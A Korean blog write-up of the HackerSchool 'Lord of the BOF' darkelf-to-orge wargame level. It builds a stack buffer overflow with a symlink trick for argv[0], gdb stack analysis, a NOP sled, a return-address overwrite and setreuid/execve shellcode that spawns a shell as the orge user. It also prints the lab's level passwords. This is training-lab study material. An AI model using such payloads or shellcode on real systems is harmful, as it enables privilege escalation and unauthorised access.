[lob] 해커스쿨 darkelf -> orge 풀이
- 보안/HackerSchool-lob
- 2020. 1. 19. 12:28
해커스쿨 darkelf 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
darkelf 문제의 아이디인 darkelf 와 password인 kernel crashed 을 입력하여 darkelf의 유저로 접속합니다.
[darkelf@localhost darkelf]$ ls -l total 20 -rwsr-sr-x 1 orge orge 12700 Mar 1 2010 orge -rw-r--r-- 1 root root 800 Mar 29 2010 orge.c |
ls -l 명령어를 사용하여 현재 위치( /home/darkelf ) 아래에 있는 디렉터리의 목록을 확인합니다.
목록들 중 orge.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.
[darkelf@localhost darkelf]$ cat orge.c /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } |
cat 명령어를 사용하여 orge.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.
힌트 코드를 분석해보겠습니다.
1. argc가 2 이상이어야 합니다.
2. argv[0]의 길이는 77이어야 합니다.
3. 환경 변수를 사용할 수 없습니다.
4. argv[1]의 길이는 48 이하여야 합니다.
5. buffer의 공간을 사용할 수 없습니다.
분석한 것을 정리하자면 우선은 파일명을 77로 만들어야 할 것 같습니다.
[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'` [darkelf@localhost darkelf]$ ls -l total 84 lrwxrwxrwx 1 darkelf darkelf 4 Jan 14 13:30 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA -> orge -rwsr-sr-x 1 orge orge 12700 Mar 1 2010 orge -rw-r--r-- 1 root root 800 Mar 29 2010 orge.c |
문제를 풀기 전 A의 길이가 63인 파일 하나를 심볼릭 링크를 이용하여 생성해주었습니다. darkelf 문제에서 파일의 길이가 77이어야 하는데 orge 파일 이름을 수정할 수 있는 권한이 없기 때문에 우리가 만든 파일을 실행하면 orge 파일이 실행될 수 있도록 해야합니다. A개수가 63인 이유는 현재 경로인 /home/darkelf 을 포함해서 총길이가 77이어야 하기 때문입니다.
[darkelf@localhost darkelf]$ gdb AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048503 <main+3>: sub $0x2c,%esp 0x8048506 <main+6>: cmpl $0x1,0x8(%ebp) 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push $0x8048690 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add $0x4,%esp 0x8048519 <main+25>: push $0x0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add $0x4,%esp 0x8048523 <main+35>: mov 0xc(%ebp),%eax 0x8048526 <main+38>: mov (%eax),%edx 0x8048528 <main+40>: push %edx 0x8048529 <main+41>: call 0x80483f0 <strlen> 0x804852e <main+46>: add $0x4,%esp 0x8048531 <main+49>: mov %eax,%eax 0x8048533 <main+51>: cmp $0x4d,%eax 0x8048536 <main+54>: je 0x8048550 <main+80> 0x8048538 <main+56>: push $0x804869c 0x804853d <main+61>: call 0x8048410 <printf> 0x8048542 <main+66>: add $0x4,%esp 0x8048545 <main+69>: push $0x0 0x8048547 <main+71>: call 0x8048420 <exit> 0x804854c <main+76>: add $0x4,%esp 0x804854f <main+79>: nop 0x8048550 <main+80>: nop 0x8048551 <main+81>: movl $0x0,0xffffffd4(%ebp) 0x8048558 <main+88>: mov 0xffffffd4(%ebp),%eax 0x804855b <main+91>: lea 0x0(,%eax,4),%edx 0x8048562 <main+98>: mov 0x80497d4,%eax 0x8048567 <main+103>: cmpl $0x0,(%eax,%edx,1) 0x804856b <main+107>: jne 0x8048570 <main+112> 0x804856d <main+109>: jmp 0x80485b0 <main+176> 0x804856f <main+111>: nop 0x8048570 <main+112>: mov 0xffffffd4(%ebp),%eax 0x8048573 <main+115>: lea 0x0(,%eax,4),%edx 0x804857a <main+122>: mov 0x80497d4,%eax 0x804857f <main+127>: mov (%eax,%edx,1),%edx 0x8048582 <main+130>: push %edx 0x8048583 <main+131>: call 0x80483f0 <strlen> 0x8048588 <main+136>: add $0x4,%esp ---Type to continue, or q to quit--- 0x804858b <main+139>: mov %eax,%eax 0x804858d <main+141>: push %eax 0x804858e <main+142>: push $0x0 0x8048590 <main+144>: mov 0xffffffd4(%ebp),%eax 0x8048593 <main+147>: lea 0x0(,%eax,4),%edx 0x804859a <main+154>: mov 0x80497d4,%eax 0x804859f <main+159>: mov (%eax,%edx,1),%edx 0x80485a2 <main+162>: push %edx 0x80485a3 <main+163>: call 0x8048430 <memset> 0x80485a8 <main+168>: add $0xc,%esp 0x80485ab <main+171>: incl 0xffffffd4(%ebp) 0x80485ae <main+174>: jmp 0x8048558 <main+88> 0x80485b0 <main+176>: mov 0xc(%ebp),%eax 0x80485b3 <main+179>: add $0x4,%eax 0x80485b6 <main+182>: mov (%eax),%edx 0x80485b8 <main+184>: add $0x2f,%edx 0x80485bb <main+187>: cmpb $0xbf,(%edx) 0x80485be <main+190>: je 0x80485d7 <main+215> 0x80485c0 <main+192>: push $0x80486ab 0x80485c5 <main+197>: call 0x8048410 <printf> 0x80485ca <main+202>: add $0x4,%esp 0x80485cd <main+205>: push $0x0 0x80485cf <main+207>: call 0x8048420 <exit> 0x80485d4 <main+212>: add $0x4,%esp 0x80485d7 <main+215>: mov 0xc(%ebp),%eax 0x80485da <main+218>: add $0x4,%eax 0x80485dd <main+221>: mov (%eax),%edx 0x80485df <main+223>: push %edx 0x80485e0 <main+224>: call 0x80483f0 <strlen> 0x80485e5 <main+229>: add $0x4,%esp 0x80485e8 <main+232>: mov %eax,%eax 0x80485ea <main+234>: cmp $0x30,%eax 0x80485ed <main+237>: jbe 0x8048606 <main+262> 0x80485ef <main+239>: push $0x80486c8 0x80485f4 <main+244>: call 0x8048410 <printf> 0x80485f9 <main+249>: add $0x4,%esp 0x80485fc <main+252>: push $0x0 0x80485fe <main+254>: call 0x8048420 <exit> 0x8048603 <main+259>: add $0x4,%esp 0x8048606 <main+262>: mov 0xc(%ebp),%eax 0x8048609 <main+265>: add $0x4,%eax 0x804860c <main+268>: mov (%eax),%edx 0x804860e <main+270>: push %edx ---Type to continue, or q to quit--- 0x804860f <main+271>: lea 0xffffffd8(%ebp),%eax 0x8048612 <main+274>: push %eax 0x8048613 <main+275>: call 0x8048440 <strcpy> 0x8048618 <main+280>: add $0x8,%esp 0x804861b <main+283>: lea 0xffffffd8(%ebp),%eax 0x804861e <main+286>: push %eax 0x804861f <main+287>: push $0x80486df 0x8048624 <main+292>: call 0x8048410 <printf> 0x8048629 <main+297>: add $0x8,%esp 0x804862c <main+300>: push $0x28 0x804862e <main+302>: push $0x0 0x8048630 <main+304>: lea 0xffffffd8(%ebp),%eax 0x8048633 <main+307>: push %eax 0x8048634 <main+308>: call 0x8048430 <memset> 0x8048639 <main+313>: add $0xc,%esp 0x804863c <main+316>: leave 0x804863d <main+317>: ret 0x804863e <main+318>: nop 0x804863f <main+319>: nop End of assembler dump. |
darkelf 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.
1. 0x8048503 <main+3>: sub $0x2c,%esp
0x2c를 10진수로 나타내면 44입니다. 스택에 44byte를 할당하였습니다.
2. 0x8048613 <main+275>: call 0x8048440 <strcpy>
orge.c 파일에서 strcpy에는 argv[1]과 buffer, 총 2개의 인자가 들어가고 stack에 push 되는 순서는 argv[1], buffer 순서입니다. 따라서 <main+274>에서 push 되는 주소가 buffer의 시작 주소입니다.
11011000 = 00100111 = 00101000 = 8 + 32 = 40
buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다.
메모리 구조를 보면 아래와 같습니다.
return에 넣어줄 argv[2]의 시작 주소를 찾아보도록 하겠습니다.
(gdb) b *main+280 Breakpoint 1 at 0x8048618 (gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Starting program: /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'` Breakpoint 1, 0x8048618 in main () (gdb) x/100x $esp 0xbffffa14: 0xbffffa20 0xbffffbd6 0x00000013 0x41414141 0xbffffa24: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa34: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa44: 0x41414141 0x41414141 0xbf414141 0x00000000 0xbffffa54: 0xbffffa94 0xbffffaa4 0x40013868 0x00000003 0xbffffa64: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffa74: 0x00000003 0xbffffa94 0x08048390 0x0804866c 0xbffffa84: 0x4000ae60 0xbffffa8c 0x40013e90 0x00000003 0xbffffa94: 0xbffffb88 0xbffffbd6 0xbffffc07 0x00000000 0xbffffaa4: 0xbffffc6c 0xbffffc8e 0xbffffc98 0xbffffca6 0xbffffab4: 0xbffffcc5 0xbffffcd5 0xbffffcee 0xbffffd0b 0xbffffac4: 0xbffffd16 0xbffffd24 0xbffffd67 0xbffffd7a 0xbffffad4: 0xbffffd8f 0xbffffd9f 0xbffffdac 0xbffffdcb 0xbffffae4: 0xbffffdd6 0xbffffde3 0xbffffdeb 0x00000000 0xbffffaf4: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffb04: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffb14: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffb24: 0x00000009 0x08048450 0x0000000b 0x000001fa 0xbffffb34: 0x0000000c 0x000001fa 0x0000000d 0x000001fa 0xbffffb44: 0x0000000e 0x000001fa 0x00000010 0x0f8bfbff 0xbffffb54: 0x0000000f 0xbffffb83 0x00000000 0x00000000 0xbffffb64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb74: 0x00000000 0x00000000 0x00000000 0x69000000 0xbffffb84: 0x00363836 0x6d6f682f 0x61642f65 0x6c656b72 0xbffffb94: 0x41412f66 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffba4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbb4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbc4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbd4: 0x41410041 0x41414141 0x41414141 0x41414141 0xbffffbe4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbf4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc04: 0x4200bf41 0x42424242 0x42424242 0x42424242 0xbffffc14: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc24: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc34: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc44: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc54: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffffc64: 0x42424242 0x00424242 0x00000000 0x00000000 0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000 |
argv[2]에 B를 100개 넘겨주었습니다. 그리고 gdb를 통해서 확인해보니 0xbffffc07 부터 argv[2]가 시작되는 것을 볼 수 있습니다.
[darkelf@localhost darkelf]$ bash2 [darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `pthon -c 'print "\x90"*44+"\x07\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x 68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` üÿ¿ Segmentation fault (core dumped) |
bash2를 입력하고, return 부분에 argv[2]의 시작 주소를 넣은 후 AAAA.. 파일을 실행시켰습니다. core 파일이 생성되었기 때문에 gdb를 이용해 정확한 주소를 확인해보겠습니다.
[darkelf@localhost darkelf]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '. Program terminated with signal 4, Illegal instruction. #0 0xbffffb56 in ?? () (gdb) x/100x $esp 0xbffff9a0: 0x00000000 0xbffff9e4 0xbffff9f4 0x40013868 0xbffff9b0: 0x00000003 0x08048450 0x00000000 0x08048471 0xbffff9c0: 0x08048500 0x00000003 0xbffff9e4 0x08048390 0xbffff9d0: 0x0804866c 0x4000ae60 0xbffff9dc 0x40013e90 0xbffff9e0: 0x00000003 0xbffffada 0xbffffb28 0xbffffb59 0xbffff9f0: 0x00000000 0xbffffbe7 0xbffffbf9 0xbffffc12 0xbffffa00: 0xbffffc31 0xbffffc53 0xbffffc60 0xbffffe23 0xbffffa10: 0xbffffe42 0xbffffe5f 0xbffffe74 0xbffffe93 0xbffffa20: 0xbffffe9e 0xbffffeae 0xbffffeb6 0xbffffec0 0xbffffa30: 0xbffffed0 0xbffffede 0xbffffeec 0xbffffefd 0xbffffa40: 0xbfffff08 0xbfffff1b 0xbfffff5e 0x00000000 0xbffffa50: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffa60: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffa70: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffa80: 0x00000009 0x08048450 0x0000000b 0x000001fa 0xbffffa90: 0x0000000c 0x000001fa 0x0000000d 0x000001fa 0xbffffaa0: 0x0000000e 0x000001fa 0x00000010 0x0f8bfbff 0xbffffab0: 0x0000000f 0xbffffad5 0x00000000 0x00000000 0xbffffac0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffad0: 0x00000000 0x38366900 0x682f0036 0x2f656d6f 0xbffffae0: 0x6b726164 0x2f666c65 0x41414141 0x41414141 0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb20: 0x41414141 0x00414141 0x90909090 0x90909090 (gdb) 0xbffffb30: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb40: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb50: 0x90909090 0xbffffb56 0x90909000 0x90909090 0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffbb0: 0x90909090 0x90909090 0x90909090 0xb0c03190 0xbffffbc0: 0x8980cd31 0x31c189c3 0xcd46b0c0 0x50c03180 0xbffffbd0: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350 |
core 파일은 위에서 실행했던 페이로드에 대한 결과입니다. 따라서 빨간색 부분이 argv[2]의 시작 주소가 됩니다. 새로운 주소를 보니 0xbffffb5c 이고, 페이로드를 구성해보도록 하겠습니다.
페이로드
/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'` `python -
c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\x
c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\x
cd\x80"'`
[darkelf@localhost darkelf]$ /home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x 68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` \ûÿ¿ bash$ id uid=507(orge) gid=506(darkelf) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker |
id 명령을 사용한 결과 uid가 orge인 것을 확인할 수 있고, my-pass를 입력하면 orge user의 password가 나옵니다.
orge 비밀번호
euid = 507
timewalker
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 skeleton -> golem 풀이 (0) | 2020.01.22 |
---|---|
[lob] 해커스쿨 vampire -> skeleton 풀이 (0) | 2020.01.21 |
[lob] 해커스쿨 troll -> vampire 풀이 (0) | 2020.01.18 |
[lob] 해커스쿨 orge -> troll 풀이 (0) | 2020.01.17 |
[lob] 해커스쿨 wolfman -> darkelf 풀이 (0) | 2020.01.16 |
이 글을 공유하기